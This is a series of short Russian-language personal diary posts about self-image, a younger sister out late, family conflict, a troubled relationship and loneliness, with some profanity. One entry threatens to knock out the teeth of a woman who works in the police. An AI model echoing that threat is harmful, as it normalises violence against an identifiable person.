Ужасно бесят такие дни, когда ты чувствуешь себя крайне некрасивой. Вот ты уже и накрасилась, а лицо напротив в зеркале тебя просто раздражает, и ты видишь все недостатки, которые жутко выводят из равновесия.Особенно, когда ты собираешься на работу и уверенно себя чувствовать просто необходимо. И лицо, казалось бы, все то же, что и вчера, только восприятия настолько разные, что хочется просто умыться и остаться дома.

Малая пошла вчера, в Арену, отдохнуть душой так сказать. У нас тут штормовое два дня, а она собралась. Говорю, ты только мне пиши, когда выйдешь..Она мне "окей". Пишет, что подъезжает к остановке, через 5 минут. Ну, окей..прошло 40 минут..Я забеспокоилась, можно несколько раз уже до дома дойти, блин. Еще и трубку не берет. Ну, пошли с мужем ее искать, Вышли из дома, стоит шоха в переулке, и из нее вылазиет малая под шафе хах. Мы с мужем сразу подумали..лишь бы у нас были пацаны, меньше волнения. Это я конечно шубу..Я любой ляльке рада очень. Я конечно все понимаю 18 лет..все дела. Ты ответь, чтобы не волновались, а то вдруг тебя замело в дырку какую нибудь. А потом сиди сколько влезет Ахах..теперь буду шантажировать выпечкой блинов

Один из основных этапов взросления для меня - возможность уверенно развлекаться самой и не зависеть от друзей\любимых. Наконец я могу ходить в кино одна, на каток, гулять, шопиться.. Что может быть прекрасней? А, и еще я могу игнорировать тех, кто мне нравится, меня не тянет позвонить им с извинениями /после того, как они ведут так себя со мной/, я могу отказать, практически не чувствуя вины___________

В самом деле, расизм бывает далеко не только по отношению к афро\лицам восточных кровей, нет. Попробуйте быть русской в Украине\украинкой в России и вы неизбежно столкнетесь с этим. И вопрос не в крови, но в фамилии, поведении, базовых ценностях. Этот абьюз продолжается веками, ему не препятствует ни отмена крепостного права, ни ссср, ни политика после его распада. Это в головах и взращивается семейно.

Мне теперь эта уродка сниться даже ! Сука ненавижу, она кстати в полиции работает :) увижу если её, ей свою полицию просить придётся, чтобы зубы выбитые помогли найти

Разминка для баб: Встали, начинаем придумывать себе. Глаза закатили. И ойкаем. Ой-всё-три-четыре, хорошо, делаем выводы. Цокать не забываем.

Ву-ху, сейчас я хочу поделиться с тобой, мой бложик, своими переменами. Благодаря некому дневнику на жж, я пересмотрела себя и вообще свою жизнь за последние эм..пару лет, так точно. Что у нас тут имеется? Великолепное ко-комбо из жирной неосознанности, сильные привязки и подключеньки в виде нереального депресса. Мало того, вот эта регрессия, которая порождала во мне просто тучи меланхолии и прочего г. тоже из этой оперы. Скорее всего, у меня нет даже четких воспоминаний и эмоций только от того, что это все было прожито автоматически. Конечно, иногда я выплывала из этого, упиралась головой в купол и старалась его пробить, но на этих попытках все заканивалось. Горизонталка с бытовухой тянули обратно. Я не говорю, что могу побороть это сейчас, но осознание проблемы это уже начало ее решения!
Скажу нет прошлому, есть только настоящее и оно сейчас.
: 3
Дичайшие приливы любви. Люблю всех)

ТРИ ВЕЩИ, КОТОРЫЕ ВАС ПРИВЛЕКАЮТ

Ага, ну с этим казалось бы проще будет.
1. Искренность. - Не думала, что для меня это когда-нибудь будет действительно важно, но сейчас я понимаю, что это стоит для меня на первом месте.
2. Увлеченность чем-либо. - Тут я имею ввиду то, что меня привлекают люди, которые являются ну, не специалистами, а скажем так имеют активную творческую сторону в каком-то аспекте.Это здорово, с такими людьми интересно.
3.Осознанность. - Ну, тут но комментс. Все и так понятно.
А, лол, пока я писала, я ведь подумала, а что, если это три вещи которые меня привлекают не обязательно в людях? well

5 февраля прошло очень странно. С утра, а так как утро у меня начинается в обед, мне позвонил Серёжа и мы поговорили по телефону. Он говорил не то что я хотела услышать, не то что мне было нужно, чтобы я убедилась, что меня уважают, понимают и любят. В конце прозвучало то чего он хотел бы и чего не хотел бы, что надеется на то что что-то изменится, но это снова же, так расплывчато и не конкретно, что я просто разочаровалась во всём ещё больше. В тот момент надежды не было. И я сказала, что хочу подумать. Я сидела и думала, не могла занятся ничем другим. Потом начала гуглить статьи о том как быть в таких ситуациях и нашла статью в которой парень говорит как должны вести себя девушки, чтобы их понимали, уважали, не изменяли и т.д. И там был пункт, что если парень вас не понимает, то ваше молчание ничем не поможет и парень вас не поймёт. Нужно всё выяснять прямо и прямо говорить чего ты хочешь. После этого я захотела с ним поговорить с глазу на глаз, на что он предложил приехать, я согласилась. Через час мы увиделись и пошли к парку.
Я шла как зомби, у меня было всё то же состояние, когда нечего сказать и это глупо звать парня и молчать. Поэтому я начала прямо, но мягко объяснять того что хочу изменений и не хочу чтобы меня обижали и чтобы если я говорю прямо: «Не говори так, это неприятно и обидно слышать», получаю ответ: «В этом ничего такого не было». Если я заметила, значит было, мы просто по разному всё воспринимаем.
Когда я выходила то сказала маме, что скоро Серёжа приедет, на что была реакция сразу: «Он сюда припрётся???», я сказала, что нет и потом завертелось. Помню как она сказала: «Когда будешь скавчать от того что он тебя избивает – можешь не бежать к маме и просить помощи. Я тебе не помогу! ». Я рассказала об этом и о её мнении обо мне. Он конечно же был зол, потому что он очень много раз ей помогал с тяжестями и с прочими мелочами, она ему улыбалась, а тут она уже его чуть ли не матом кроет. В общем мы шли и молчали пока не дошли до кафе. По дороге я узнала, что он изначально мне не доверял из-за одного случая когда мы были друзьями, но он воспринял как измену то что я целовалась с бывшим (что было страшной ошибкой). В общем до сих пор мы к этому так и не вернулись и мне уже неприятно то что мне человек не доверял все эти два с половиной года.
В кафе мы заказали по десерту и я рассказала о мастерше. Потом мы опять молчали, я уже подумала, что не нужна ему со своими проблемами, мамой и тем что всё разладилось сейчас. Но вдруг он сказал, что ситуация не сложная, но негативная. Серёже и маме нужно действительно поговорить, как я и предлагала, иначе ненавидеть друг друга не вариант. Мы поехали домой, он обнял меня и держал за руку почти всё время от чего стало тепло и спокойно. Зашли в магазин и пошли домой со сладостями и прикольным ароматическим маслом для крепкого сна (что очень кстати).
На протяжении прогулки нам встретились замечательные люди, официантка, которая подошла и зарядила своей энергией и позитивом; и женщина, которая с нами на кассе стояла, посомтрела состав масла и сказала, что оно очень хорошее от чего я не сомневалась в том что оно классное. Кстати масло охуенное, сижу дышу аромолампой и сразу спокойно так стало)
Пришли домой и спустя некоторое время мы говорили целый час. Думаю я испортила им разговор тем что поддалась на провокации мамы и кричала на неё. Она постоянно находила повод облить меня грязью и выставить в ужасном свете. Так что я продолжаю с ней не разговаривать.
Хотелось бы сразу сказать о Диме Савёлове, который меня поддерживал и писал мне каждый день. Он написал перед встречей с Серёжей, а потом видимо засомневался в своих словах и прислал ещё одно:

Боже, это сообщение меня словно светом озарило, мне так приятно стало, что человек желает мне добра и не считает кем-то ужасным. Оттого, что ему всё ещё плохо из-за расставания с Ритой меня всё время тянет провести с ним время так чтобы он не погружался в свои мысли. Я его очень сильно понимаю, потому что была на его месте и за добро хочется отдать добро в ответ и ещё чуть-чуть) Но это странно общаться с бывшим подруги. Короче 2 лагеря в голове.
Но после этого сообщения люди стали в Доте добрые попадаться и играть с ними было одно удовольствие)

весело ощущать, что ты никому не нужен кроме парня

мать в тебе видет чудовище, потому что я не ее копи, а отец вообще не видит меня

с наступлением каникул я становлюсь настолько затворником, что обычный поход за хлебушком напоминает игру на выживание. когда уже сработает этот прикол, тип выхожу в магаз и покидаю страну?

говно денек, поползу в свою пододеяльную берлогу зализывать раны….."Пиздюлей я получал и получу.."(с) :DD

Будьте бдительны снимая деньги в банкоматах, ребятки)